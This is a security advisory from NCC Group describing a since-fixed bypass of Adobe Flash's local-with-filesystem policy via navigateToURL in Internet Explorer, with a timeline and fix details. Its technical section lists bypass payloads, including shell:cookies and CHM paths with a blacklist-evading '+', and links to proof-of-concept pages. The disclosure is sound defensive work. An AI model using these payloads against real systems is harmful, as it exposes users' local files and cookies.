Flash local-with-filesystem Bypass in navigateToURL

Flash local-with-filesystem Bypass in navigateToURL
_______ _________ _________ ________
\ \ \_ ___ \\_ ___ \ / _____/______ ____ __ ________
/ | \/ \ \// \ \/ / \ __\_ __ \/ _ \| | \____ \
/ | \ \___\ \____ \ \_\ \ | \( <_> ) | / |_> >
\____|__ /\______ /\______ / \______ /__| \____/|____/| __/
\/ \/ \/ \/ |__|
https://www.nccgroup.trust/research/
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 Vulnerability Summary
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Title Flash local-with-filesystem Bypass in navigateToURL
Reference VT-19
Discoverer Soroush Dalili and Matthew Evans
Vendor Adobe
Vendor Reference
https://helpx.adobe.com/security/products/flash-player/apsb16-25.html
https://helpx.adobe.com/security/products/flash-player/apsb16-29.html
Systems Affected Adobe Flash in Internet Explorer (Prior to 23.0.0.162)
CVE Reference CVE-2016-4178, CVE-2016-4277
Risk Low
Status Fixed
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 Resolution Timeline
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Discovered 6 May 2016
Initial Report 13 May 2016
First Fix 12 July 2016
Bypasses Reported 13 July 2016
Final Fix 13 September 2016
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 Vulnerability Description
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Flash "local-with-filesystem" policy could be bypassed using the "navigateToURL"
function. It was not possible to target the local files using a Flash file in a
website using normal methods such as the "file://" protocol or the
"\\localhost\c$" path due to Flash's "local-with-filesystem" security policy.
However, a number of methods were found that could bypass this protection.
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 Technical Details
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
The following payloads were used to bypass the protections to access the local
files/directories:
\\.\localhost/c:\windows\
\.\/C:\
\.\/\.\..\C:\
knownfolder:{B97D20BB-F46A-4C97-BA10-5E3608430854}
+mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab
00-6e7ee4dddc16.htm
+shell:cookies
+ms-its:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7e
e4dddc16.htm
The space character (the + sign) before the schemas was necessary to bypass the
blacklist protection. Other URL schemes could also be used in order to achieve
the same goal.
Example (should be tested in IE):
Flash local-with-filesystem Bypass in navigateToURL
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\.\localhost/c:\windo
ws\
It was possible to open local files and directories in an Iframe as well. The
following PoC page can be used for this purpose:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html
The "link_protocol_test.swf?input=\\.\localhost/c:\windows\starter.xml" payload
can be used as an example in the "Custom Address" field of this HTML page.
Note 1: This will only work in Internet Explorer as other browsers do not allow
Flash to access local filesystem.
Note 2: Similar issues were reported to Adobe a few years ago after publishing
the following blog post:
https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-p
art-2-navigatetourl-and-jar-protocol/
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 Fix Information
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Update to the latest version. The "local-with-filesystem" access has been
disabled by default after version 23.0.0.162. Users will have to manually add
an mms.cfg setting to enable this functionality to work around the restriction
where necessary.
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
 NCC Group
~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Research https://www.nccgroup.trust/research
Twitter https://www.twitter.com/NCCGroupInfoSec / @NCCGroupInfoSec
Open Source https://github.com/nccgroup
Blog https://www.nccgroup.trust/en/blog/cyber-security/